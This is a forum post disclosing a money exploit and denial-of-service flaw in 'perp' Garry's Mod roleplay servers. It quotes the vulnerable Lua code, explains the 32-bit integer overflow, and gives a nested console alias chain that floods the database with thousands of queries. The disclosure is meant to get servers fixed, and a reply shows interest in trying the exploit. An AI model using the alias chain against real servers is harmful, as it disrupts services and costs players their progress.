Money exploit and DoS vulnerability on perp servers

Hey,
Around one year ago I have found a money exploit on all perp servers and it since has been fixed on most of the popular ones (because I told them to). But unfortunatley there are still many new perp servers or perp like gamemodes like GTA-Online, which are basically just a copy of perp, that still have the exploit. This is obviously the case because in the latest leaked perp version you can get the exploit is not fixed. Since then I have found out that this exploit can be used to completely destroy the database connection between the server and the database by just filling it up with queries.

Here is the source code on the server side:



function GM.ChangeSex ( Player, Cmd, Args )
	if (!Player) then return; end
	if (Player:Team() != TEAM_CITIZEN) then return; end
	
	
	// Model Stuff
	local newSex = "m";
	if (Player:GetSex() == SEX_MALE) then newSex = "f"; end
	
	local modelInt = SEX_MALE;
	if (newSex == "f") then modelInt = SEX_FEMALE; end

	Player:TakeCash(GAMEMODE.SexChangePrice, true);
	
	local theirNewModel = Player:GetModelPath(newSex, 1, 1);
	
	Player:SetModel(theirNewModel);
	Player.PlayerModel = theirNewModel;
	tmysql.query("UPDATE `perp_users` SET `model`='" .. modelInt .. "_1_1' WHERE `id`='" .. Player.SMFID .. "'");
	
	Player:SetPrivateString("model", theirNewModel);
	Player.PlayerSex = modelInt;
	Player.PlayerClothes = 1;
	Player.PlayerFace = 1;
end
concommand.Add("somecommand", GM.ChangeSex);

As you can see the brilliant author of this code forgot to add a check whether or not the client has enough money. That way you can basically go as far into the negative as you want to go. The problem is that at some point an overflow occurs which makes it jump from NUMBER_MIN to NUMBER_MAX. Now you might think that wouldn’t be a problem because lua uses 64 bit floating point numbers so it would take literally years to be able to get that far into the negative, which is completely true. But unfortunatley there is this piece of code that saves money in perp:



tmysql.query("UPDATE `perp_users` SET `cash`='%d' ….. “, money);


The %d converts the argument money into a 32 bit signed integer, which means that when you go below ~$-2.1 billion it will overflow to ~$2.1 billion.

I already thought that was great, but then I discovered that since you can basically do this as often as source allows it, you can spam thousands of queries within a second. For example you can use the following aliases and spam mula7 in console repeatedly



alias mula1 "somecommand;somecommand;somecommand"
alias mula2 "mula1;mula1;mula1"
alias mula3 "mula2;mula2;mula2"
alias mula4 "mula3;mula3;mula3"
alias mula5 "mula4;mula4;mula4"
alias mula6 "mula5;mula5;mula5"
alias mula7 "mula6;mula6;mula6"


Running mula7 once will create 3 ⁷ = 2187 queries. Tmysql will be able to process ~10-100 of them per second which means that it will take the server 20 seconds – ~3 minutes before those queries are completed. You can imagine how long it would take if you run mula7 a lot. What this means is that all other queries that are created (saving characters, loading characters, etc.) will be delayed and thus people are probably going to lose progress and new players can’t load in properly.
So new perp servers, please be aware of this and fix this in your perp code asap.
Also, please don’t just add a prefix like “PERP_MOFO” to the console command in order to “obscure” the name of the command. That makes you look incredibly retarded. Just fix your god damn commands instead….
syl0r

Awesome

time to try perp

-snip-